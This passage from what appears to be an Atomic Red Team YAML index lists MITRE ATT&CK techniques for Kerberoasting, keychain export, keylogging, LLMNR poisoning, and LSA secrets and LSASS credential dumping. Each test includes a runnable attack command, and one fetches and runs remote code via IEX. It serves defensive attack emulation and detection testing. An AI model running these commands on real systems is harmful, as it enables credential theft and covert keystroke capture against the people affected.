        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: 'setspn -T #{domain_name} -Q */*

'
        name: command_prompt
    - name: Request A Single Ticket via PowerShell
      auto_generated_guid: 988539bc-2ed7-4e62-aec6-7c5cf6680863
      description: "The following test will utilize native PowerShell Identity modules
        to query the domain to extract the Service Principal Names for a single computer.
        This behavior is typically used during a kerberos or silver ticket attack.
        \nA successful execution will output the SPNs for the endpoint in question.\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: "Add-Type -AssemblyName System.IdentityModel\n$ComputerFQDN=$env:LogonServer.trimStart('\\')
          + \".\" + $env:UserDnsDomain\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
          -ArgumentList \"HTTP/$ComputerFQDN\" \n"
        name: powershell
    - name: Request All Tickets via PowerShell
      auto_generated_guid: 902f4ed2-1aba-4133-90f2-cff6d299d6da
      description: "The following test will utilize native PowerShell Identity modules
        to query the domain to extract allthe Service Principal Names. This behavior
        is typically used during a kerberos or silver ticket attack. \nA successful
        execution will output the SPNs for the domain in question.\n"
      supported_platforms:
      - windows
      input_arguments:
        domain_name:
          description: The Domain Name to lookup against
          type: String
          default: "%USERDNSDOMAIN%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      executor:
        command: "Add-Type -AssemblyName System.IdentityModel  \nsetspn.exe -T #{domain_name}
          -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
          -ArgumentList $_.Context.PostContext[0].Trim() }  \n"
        name: powershell
  T1555.001:
    technique:
      created: '2020-02-12T18:55:24.728Z'
      modified: '2020-02-17T13:14:31.140Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      id: attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3
      description: |-
        Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

        To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
      name: Keychain
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1555.001
        url: https://attack.mitre.org/techniques/T1555/001
      - url: https://en.wikipedia.org/wiki/Keychain_(software)
        description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.
        source_name: Wikipedia keychain
      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
        source_name: External to DA, the OS X Way
      x_mitre_platforms:
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Unlocking the keychain and using passwords from it is a very
        common process, so there is likely to be a lot of noise in any detection technique.
        Monitoring of system calls to the keychain can help determine if there is
        a suspicious process trying to access it.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'File: File Access'
      identifier: T1555.001
    atomic_tests:
    - name: Keychain
      auto_generated_guid: 1864fdec-ff86-4452-8c30-f12507582a93
      description: |
        ### Keychain Files

          ~/Library/Keychains/

          /Library/Keychains/

          /Network/Library/Keychains/

          [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html)

          [Keychain dumper](https://github.com/juuso/keychaindump)
      supported_platforms:
      - macos
      input_arguments:
        cert_export:
          description: Specify the path of the certificates to export.
          type: Path
          default: "/tmp/certs.pem"
      executor:
        command: |
          security -h
          security find-certificate -a -p > #{cert_export}
          security import #{cert_export} -k
        name: sh
  T1056.001:
    technique:
      created: '2020-02-11T18:58:11.791Z'
      modified: '2020-10-21T01:30:56.227Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1056.001
        url: https://attack.mitre.org/techniques/T1056/001
      - external_id: CAPEC-568
        source_name: capec
        url: https://capec.mitre.org/data/definitions/568.html
      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        source_name: Adventures of a Keystroke
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Keylogging
      description: "Adversaries may log user keystrokes to intercept credentials as
        the user types them. Keylogging is likely to be used to acquire credentials
        for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        efforts are not effective, and may require an adversary to intercept keystrokes
        on a system for a substantial period of time before credentials can be successfully
        captured.\n\nKeylogging is the most prevalent type of input capture, with
        many different ways of intercepting keystrokes.(Citation: Adventures of a
        Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing
        keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004),
        this focuses solely on API functions intended for processing keystroke data.\n*
        Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n*
        Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601)
        may provide adversaries with hooks into the operating system of network devices
        to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
        Attacks) "
      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - root
      - SYSTEM
      - User
      x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
        to the Registry and installation of a driver, setting a hook, or polling to
        intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
        and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry
        and file system for such changes, monitor driver installs, and look for common
        keylogging API calls. API calls alone are not an indicator of keylogging,
        but may provide behavioral data that is useful when combined with other information
        such as new files written to disk and unusual processes.'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      identifier: T1056.001
    atomic_tests:
    - name: Input Capture
      auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
      description: |
        Utilize PowerShell and external resource to capture keystrokes
        [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
        Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

        Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
      supported_platforms:
      - windows
      input_arguments:
        filepath:
          description: Name of the local file, include path.
          type: Path
          default: "$env:TEMP\\key.log"
      executor:
        command: |
          Set-Location $PathToAtomicsFolder
          .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}
        cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Living off the land Terminal Input Capture on Linux with pam.d
      auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
      description: "Pluggable Access Module, which is present on all modern Linux
        systems, generally contains a library called pam_tty_audit.so which logs all
        keystrokes for the selected users and sends it to audit.log.  All terminal
        activity on any new logins would then be archived and readable by an adversary
        with elevated privledges.\n\nPasswords hidden by the console can also be logged,
        with 'log_passwd' as in this example.  If root logging is enabled, then output
        from any process which is later started by root is also logged, even if this
        policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse
        'aureport --tty' or other audit.d reading tools to read the log output, which
        is binary.  Mac OS does not currently contain the pam_tty_audit.so library.
        \n"
      dependencies:
      - description: 'Checking if pam_tty_audit.so is installed

'
        prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so''

'
        get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so
          and recompile, for this test to work"

'
      supported_platforms:
      - linux
      executor:
        command: if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth
          /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then
          sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk
          sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/system-auth
        cleanup_command: |
          sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
          sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
        name: sh
        elevation_required: true
    - name: Logging bash history to syslog
      auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .bashrc
        or .bash_aliases or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

'
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: |
          PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
          echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
          tail /var/log/syslog
        cleanup_command: 'unset PROMPT_COMMAND

'
    - name: Bash session based keylogger
      auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
      description: "When a command is executed in bash, the BASH_COMMAND variable
        contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\".
        The trap command is not a external command, but a built-in function of bash
        and can be used in a script to run a bash function when some event occurs.
        trap will detect when the BASH_COMMAND variable value changes and then pipe
        that value into a file, creating a bash session based keylogger. \n\nTo gain
        persistence the command could be added to the users .bashrc or .bash_aliases
        or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell

'
        prereq_command: 'if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n*****
          Bash not running! *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      input_arguments:
        output_file:
          name: output_file
          description: File to store captured commands
          type: String
          default: "/tmp/.keyboard.log"
      executor:
        name: sh
        elevation_required: false
        command: |
          trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
          echo "Hello World!"
          cat #{output_file}
        cleanup_command: 'rm #{output_file}

'
    - name: SSHD PAM keylogger
      auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
      description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication.
        The Linux audit tool auditd can use the pam_tty_audit module to enable auditing
        of TTY input and capture all keystrokes in a ssh session and place them in
        the /var/log/audit/audit.log file after the session closes.

'
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

'
        prereq_command: |
          if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

'
      input_arguments:
        user_account:
          description: Basic ssh user account for testing.
          type: String
          default: ubuntu
      executor:
        name: sh
        elevation_required: true
        command: "cp -v /etc/pam.d/sshd /tmp/\necho >> \"session required pam_tty_audit.so
          disable=* enable=* open_only log_passwd\"\nsystemctl restart sshd\nsystemctl
          restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n"
        cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/

'
    - name: Auditd keylogger
      auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
      description: "The linux audit tool auditd can be used to capture 32 and 64 bit
        command execution and place the command in the /var/log/audit/audit.log audit
        log. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

'
        prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n*****
          auditd NOT installed *****\n"; exit 1; fi

'
        get_prereq_command: 'echo ""

'
      executor:
        name: sh
        elevation_required: true
        command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl
          -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start
          $(date +\"%d/%m/%y %H:%M:%S\") \n"
        cleanup_command: 'systemctl restart auditd

'
  T1557.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557.001
        url: https://attack.mitre.org/techniques/T1557/001
      - url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
          Retrieved November 17, 2017.
        source_name: Wikipedia LLMNR
      - url: https://technet.microsoft.com/library/cc958811.aspx
        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
          17, 2017.
        source_name: TechNet NetBIOS
      - source_name: byt3bl33d3r NTLM Relaying
        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
          7, 2019.
      - source_name: Secure Ideas SMB Relay
        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
          Should Be On Your Mind. Retrieved February 7, 2019.
      - url: https://github.com/nomex/nbnspoof
        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
        source_name: GitHub NBNSpoof
      - url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
        source_name: Rapid7 LLMNR Spoofer
      - url: https://github.com/SpiderLabs/Responder
        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
          2017.
        source_name: GitHub Responder
      - url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
          and NBT-NS Poisoning. Retrieved November 17, 2017.'
        source_name: Sternsecurity LLMNR-NBTNS
      - url: https://github.com/Kevin-Robertson/Conveigh
        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
          17, 2017.
        source_name: GitHub Conveigh
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LLMNR/NBT-NS Poisoning and SMB Relay
      description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
        spoof an authoritative source for name resolution to force communication with
        an adversary controlled system. This activity may be used to collect or relay
        authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR)
        and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve
        as alternate methods of host identification. LLMNR is based upon the Domain
        Name System (DNS) format and allows hosts on the same local link to perform
        name resolution for other hosts. NBT-NS identifies systems on a local network
        by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries
        can spoof an authoritative source for name resolution on a victim network
        by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know
        the identity of the requested host, effectively poisoning the service so that
        the victims will communicate with the adversary controlled system. If the
        requested host belongs to a resource that requires identification/authentication,
        the username and NTLMv2 hash will then be sent to the adversary controlled
        system. The adversary can then collect the hash information sent over the
        wire through tools that monitor the ports for traffic or through [Network
        Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes
        offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to
        obtain the plaintext passwords. In some cases where an adversary has access
        to a system that is in the authentication path between systems or when automated
        scans that use credentials attempt to authenticate to an adversary controlled
        system, the NTLMv2 hashes can be intercepted and relayed to access and execute
        code against a target system. The relay step can happen in conjunction with
        poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation:
        Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison
        name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).
        (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub
        Responder)"
      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-31T13:54:08.239Z'
      created: '2020-02-11T19:08:51.677Z'
      x_mitre_contributors:
      - Eric Kuehn, Secure Ideas
      - Matthew Demaske, Adaptforward
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)

        Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.

        Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1557.001
    atomic_tests:
    - name: LLMNR Poisoning with Inveigh (PowerShell)
      auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321
      description: Inveigh conducts spoofing attacks and hash/credential captures
        through both packet sniffing and protocol specific listeners/sockets. This
        Atomic will run continuously until you cancel it or it times out.
      supported_platforms:
      - windows
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
          Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
        name: powershell
        elevation_required: true
  T1003.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1003.004
        url: https://attack.mitre.org/techniques/T1003/004
      - source_name: Passcape LSA Secrets
        url: https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
        description: Passcape. (n.d.). Windows LSA secrets. Retrieved February 21,
          2020.
      - source_name: Microsoft AD Admin Tier Model
        url: https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
        description: Microsoft. (2019, February 14). Active Directory administrative
          tier model. Retrieved February 21, 2020.
      - source_name: Tilbury Windows Credentials
        url: https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
        description: 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack,
          Mitigation, Defense. Retrieved February 21, 2020.'
      - source_name: ired Dumping LSA Secrets
        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
        description: Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets.
          Retrieved February 21, 2020.
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LSA Secrets
      description: |-
        Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)

        [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
      id: attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-21T21:12:38.361Z'
      created: '2020-02-21T16:22:09.493Z'
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Access'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor processes and command-line arguments for program
        execution that may be indicative of credential dumping. Remote access tools
        may contain built-in features or incorporate existing tools like Mimikatz.
        PowerShell scripts also exist that contain credential dumping functionality,
        such as PowerSploit''s Invoke-Mimikatz module,(Citation: Powersploit) which
        may require additional logging features to be configured in the operating
        system to collect necessary information for analysis.'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_platforms:
      - Windows
      identifier: T1003.004
    atomic_tests:
    - name: Dumping LSA Secrets
      auto_generated_guid: 55295ab0-a703-433b-9ca4-ae13807de12f
      description: |
        Dump secrets key from Windows registry
        When successful, the dumped file will be written to $env:Temp\secrets.
        Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
        https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
      supported_platforms:
      - windows
      input_arguments:
        psexec_exe:
          description: Path to PsExec executable
          type: Path
          default: PathToAtomicsFolder\T1003.004\bin\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: PsExec from Sysinternals must exist on disk at specified location
          (#{psexec_exe})
        prereq_command: 'if (Test-Path #{psexec_exe}) {exit 0} else {exit 1}'
        get_prereq_command: |-
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PSTools.zip"
          Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force
          New-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null
          Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force
      executor:
        command: "#{psexec_exe} -accepteula -s reg save HKLM\\security\\policy\\secrets
          %temp%\\secrets /y"
        cleanup_command: del %temp%\secrets >nul 2> nul
        name: command_prompt
        elevation_required: true
  T1003.001:
    technique:
      created: '2020-02-11T18:41:44.783Z'
      modified: '2020-06-09T20:46:00.393Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      id: attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90
      description: |
        Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).

        As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

        For example, on the target host use procdump:

        * <code>procdump -ma lsass.exe lsass_dump</code>

        Locally, mimikatz can be run using:

        * <code>sekurlsa::Minidump lsassdump.dmp</code>
        * <code>sekurlsa::logonPasswords</code>


        Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

        The following SSPs can be used to access credentials:

        * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
        * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
        * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
        * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
      name: LSASS Memory
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1003.001
        url: https://attack.mitre.org/techniques/T1003/001
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
        description: Wilson, B. (2016, April 18). The Importance of KB2871997 and
          KB2928120 for Credential Protection. Retrieved April 11, 2018.
        source_name: TechNet Blogs Credential Protection
      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
        source_name: Medium Detecting Attempts to Steal Passwords from Memory
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.

        On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.

        Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Access'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      identifier: T1003.001
    atomic_tests:
    - name: Windows Credential Editor
      auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
      description: "Dump user credentials using Windows Credential Editor (supports
        Windows XP, 2003, Vista, 7, 2008 and Windows 8 only)\n\nUpon successful execution,
        you should see a file with user passwords/hashes at %temp%/wce-output.file.\n\nIf
        you see no output it is likely that execution was blocked by Anti-Virus. \n\nIf
        you see a message saying \\\"wce.exe is not recognized as an internal or external
        command\\\", try using the  get-prereq_commands to download and install Windows
        Credential Editor first.\n"
      supported_platforms:
      - windows
      input_arguments:
        output_file:
